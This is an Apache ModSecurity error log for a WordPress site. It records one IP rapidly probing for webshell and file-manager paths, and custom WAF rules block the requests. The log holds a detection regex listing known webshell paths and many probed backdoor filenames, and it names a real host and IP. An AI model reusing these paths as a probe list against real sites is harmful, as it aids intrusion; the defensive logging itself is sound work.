[Mon Jan 19 21:51:48.048679 2026] [:error] [pid 36216:tid 36242] [client 132.196.60.193:20414] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aW429MIpfKKs9fzB-yCx7gAAAVg"]
[Mon Jan 19 21:51:48.426155 2026] [:error] [pid 45657:tid 45673] [client 132.196.60.193:20369] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aW429A4XFYp2OcwCx-CbFwAAAM4"]
[Mon Jan 19 21:51:48.798291 2026] [:error] [pid 45657:tid 45677] [client 132.196.60.193:20358] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "aW429A4XFYp2OcwCx-CbGQAAANI"]
[Mon Jan 19 21:51:49.192264 2026] [:error] [pid 45657:tid 45668] [client 132.196.60.193:20376] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "aW429Q4XFYp2OcwCx-CbGgAAAMk"]
[Mon Jan 19 21:51:49.572226 2026] [:error] [pid 45563:tid 45631] [client 132.196.60.193:20475] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "aW429ZI4--OKA-Pqumy7yQAAAIo"]
[Mon Jan 19 21:51:49.944937 2026] [:error] [pid 45562:tid 45616] [client 132.196.60.193:20395] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsheet1.php"] [unique_id "aW429ToUil_kwpvtDW7qAgAAAFY"]
[Mon Jan 19 21:51:50.360373 2026] [:error] [pid 45657:tid 45663] [client 132.196.60.193:20433] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aW429g4XFYp2OcwCx-CbHQAAAMQ"]
[Mon Jan 19 21:51:50.784771 2026] [:error] [pid 47089:tid 47100] [client 132.196.60.193:20416] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aW429hlIzijVNfdIsZ4ITwAAAQk"]
[Mon Jan 19 21:51:51.173837 2026] [:error] [pid 47089:tid 47114] [client 132.196.60.193:20435] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aW429xlIzijVNfdIsZ4IUQAAARc"]
[Mon Jan 19 21:51:51.591726 2026] [:error] [pid 45561:tid 45571] [client 132.196.60.193:18014] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/about.php"] [unique_id "aW42964ONSZn4nkTayJxzwAAAAU"]
[Mon Jan 19 21:51:51.993750 2026] [:error] [pid 45562:tid 45610] [client 132.196.60.193:20443] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aW429zoUil_kwpvtDW7qBgAAAFA"]
[Mon Jan 19 21:51:52.382284 2026] [:error] [pid 47089:tid 47113] [client 132.196.60.193:20468] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aW42-BlIzijVNfdIsZ4IUwAAARY"]
[Mon Jan 19 21:51:52.848337 2026] [:error] [pid 47089:tid 47101] [client 132.196.60.193:20438] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aW42-BlIzijVNfdIsZ4IVAAAAQo"]
[Mon Jan 19 21:51:53.278464 2026] [:error] [pid 45562:tid 45599] [client 132.196.60.193:20422] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/size.php"] [unique_id "aW42-ToUil_kwpvtDW7qCAAAAEU"]
[Mon Jan 19 21:51:53.695129 2026] [:error] [pid 36216:tid 36221] [client 132.196.60.193:20375] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-users.php"] [unique_id "aW42-cIpfKKs9fzB-yCx8QAAAUM"]
[Mon Jan 19 21:51:54.090405 2026] [:error] [pid 45657:tid 45670] [client 132.196.60.193:20381] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-users.php"] [unique_id "aW42-g4XFYp2OcwCx-CbHgAAAMs"]
[Mon Jan 19 21:51:54.475107 2026] [:error] [pid 45657:tid 45659] [client 132.196.60.193:20372] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-users.php"] [unique_id "aW42-g4XFYp2OcwCx-CbIAAAAMA"]
[Mon Jan 19 21:51:54.870170 2026] [:error] [pid 45562:tid 45603] [client 132.196.60.193:20458] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-users.php"] [unique_id "aW42-joUil_kwpvtDW7qCQAAAEk"]
[Mon Jan 19 21:51:55.256212 2026] [:error] [pid 36216:tid 36237] [client 132.196.60.193:20449] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aW42-8IpfKKs9fzB-yCx9gAAAVM"]
[Mon Jan 19 21:51:55.712594 2026] [:error] [pid 47089:tid 47109] [client 132.196.60.193:20424] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aW42-xlIzijVNfdIsZ4IWAAAARI"]
[Mon Jan 19 21:51:56.125387 2026] [:error] [pid 45561:tid 45586] [client 132.196.60.193:20445] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aW42_K4ONSZn4nkTayJx0gAAABQ"]
[Mon Jan 19 21:51:56.648622 2026] [:error] [pid 45561:tid 45567] [client 132.196.60.193:20430] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/about.php"] [unique_id "aW42_K4ONSZn4nkTayJx0wAAAAE"]
[Mon Jan 19 21:51:57.068342 2026] [:error] [pid 45563:tid 45622] [client 132.196.60.193:20418] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aW42_ZI4--OKA-Pqumy73AAAAIE"]
[Mon Jan 19 21:51:57.593529 2026] [:error] [pid 47089:tid 47095] [client 132.196.60.193:18029] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aW42_RlIzijVNfdIsZ4IWgAAAQQ"]
[Mon Jan 19 21:51:57.983141 2026] [:error] [pid 45563:tid 45627] [client 132.196.60.193:18007] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aW42_ZI4--OKA-Pqumy73gAAAIY"]
[Mon Jan 19 21:51:58.432389 2026] [:error] [pid 45561:tid 45583] [client 132.196.60.193:17988] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aW42_q4ONSZn4nkTayJx1QAAABE"]
[Mon Jan 19 21:51:58.847376 2026] [:error] [pid 47089:tid 47110] [client 132.196.60.193:20366] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revision.php"] [unique_id "aW42_hlIzijVNfdIsZ4IXAAAARM"]
[Mon Jan 19 21:51:59.257171 2026] [:error] [pid 45561:tid 45572] [client 132.196.60.193:20354] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revision.php"] [unique_id "aW42_64ONSZn4nkTayJx2AAAAAY"]
[Mon Jan 19 21:51:59.787629 2026] [:error] [pid 45561:tid 45573] [client 132.196.60.193:20391] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revision.php"] [unique_id "aW42_64ONSZn4nkTayJx2QAAAAc"]
[Mon Jan 19 21:52:00.223807 2026] [:error] [pid 47089:tid 47107] [client 132.196.60.193:20426] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/revision.php"] [unique_id "aW43ABlIzijVNfdIsZ4IXgAAARA"]
[Mon Jan 19 21:52:00.660536 2026] [:error] [pid 45562:tid 45609] [client 132.196.60.193:20421] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aW43ADoUil_kwpvtDW7qEAAAAE8"]
[Mon Jan 19 21:52:01.191886 2026] [:error] [pid 45561:tid 45582] [client 132.196.60.193:20479] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aW43Aa4ONSZn4nkTayJx3wAAABA"]
[Mon Jan 19 21:52:01.569136 2026] [:error] [pid 36216:tid 36219] [client 132.196.60.193:20367] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aW43AcIpfKKs9fzB-yCyAAAAAUE"]
[Mon Jan 19 21:52:01.997923 2026] [:error] [pid 45561:tid 45589] [client 132.196.60.193:20462] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aW43Aa4ONSZn4nkTayJx4gAAABc"]
[Mon Jan 19 21:52:02.434096 2026] [:error] [pid 45561:tid 45584] [client 132.196.60.193:20432] [client 132.196.60.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aW43Aq4ONSZn4nkTayJx5gAAABI"]
[Mon Jan 19 21:52:02.839820 2026] [:error] [pid 45561:tid 45570] [client 132.196.60.193:20478] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aW43Aq4ONSZn4nkTayJx5wAAAAQ"]
[Mon Jan 19 21:52:03.256796 2026] [:error] [pid 47089:tid 47098] [client 132.196.60.193:20455] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aW43AxlIzijVNfdIsZ4IXwAAAQc"]
[Mon Jan 19 21:52:03.697651 2026] [:error] [pid 47089:tid 47092] [client 132.196.60.193:20370] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aW43AxlIzijVNfdIsZ4IYAAAAQE"]
[Mon Jan 19 21:52:04.269301 2026] [:error] [pid 45562:tid 45600] [client 132.196.60.193:17985] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "aW43BDoUil_kwpvtDW7qEgAAAEY"]
[Mon Jan 19 21:52:04.737519 2026] [:error] [pid 45657:tid 45661] [client 132.196.60.193:20439] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aW43BA4XFYp2OcwCx-CbJgAAAMI"]
[Mon Jan 19 21:52:05.224636 2026] [:error] [pid 47089:tid 47097] [client 132.196.60.193:20457] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aW43BRlIzijVNfdIsZ4IYgAAAQY"]
[Mon Jan 19 21:52:05.617940 2026] [:error] [pid 45563:tid 45632] [client 132.196.60.193:20380] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aW43BZI4--OKA-Pqumy76AAAAIs"]
[Mon Jan 19 21:52:06.144856 2026] [:error] [pid 45657:tid 45675] [client 132.196.60.193:20436] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "aW43Bg4XFYp2OcwCx-CbLQAAANA"]
[Mon Jan 19 21:52:06.574268 2026] [:error] [pid 45562:tid 45604] [client 132.196.60.193:20402] [client 132.196.60.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aW43BjoUil_kwpvtDW7qEwAAAEo"]
[Mon Jan 19 21:52:06.981859 2026] [:error] [pid 45657:tid 45662] [client 132.196.60.193:20431] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aW43Bg4XFYp2OcwCx-CbMAAAAMM"]
[Mon Jan 19 21:52:07.453923 2026] [:error] [pid 45561:tid 45590] [client 132.196.60.193:20409] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aW43B64ONSZn4nkTayJyGwAAABg"]
[Mon Jan 19 21:52:07.963774 2026] [:error] [pid 45562:tid 45599] [client 132.196.60.193:20396] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aW43BzoUil_kwpvtDW7qFgAAAEU"]
[Mon Jan 19 21:52:08.376782 2026] [:error] [pid 45562:tid 45614] [client 132.196.60.193:20410] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test1.php"] [unique_id "aW43CDoUil_kwpvtDW7qFwAAAFQ"]
[Mon Jan 19 21:52:08.783288 2026] [:error] [pid 45657:tid 45683] [client 132.196.60.193:18015] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aW43CA4XFYp2OcwCx-CbNQAAANg"]
[Mon Jan 19 21:52:09.173651 2026] [:error] [pid 45562:tid 45594] [client 132.196.60.193:20378] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aW43CToUil_kwpvtDW7qGQAAAEA"]
[Mon Jan 19 21:52:09.547878 2026] [:error] [pid 45563:tid 45644] [client 132.196.60.193:20417] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aW43CZI4--OKA-Pqumy76gAAAJc"]
[Mon Jan 19 21:52:10.090855 2026] [:error] [pid 45563:tid 45626] [client 132.196.60.193:20429] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell20211028.php"] [unique_id "aW43CpI4--OKA-Pqumy76wAAAIU"]
[Mon Jan 19 21:52:10.486787 2026] [:error] [pid 45562:tid 45601] [client 132.196.60.193:20388] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW43CjoUil_kwpvtDW7qHAAAAEc"]
[Mon Jan 19 21:52:10.881412 2026] [:error] [pid 45563:tid 45628] [client 132.196.60.193:20401] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW43CpI4--OKA-Pqumy77QAAAIc"]
[Mon Jan 19 21:52:11.325361 2026] [:error] [pid 45563:tid 45645] [client 132.196.60.193:20357] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW43C5I4--OKA-Pqumy77gAAAJg"]
[Mon Jan 19 21:52:11.934398 2026] [:error] [pid 45563:tid 45640] [client 132.196.60.193:18033] [client 132.196.60.193] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aW43C5I4--OKA-Pqumy78AAAAJM"]
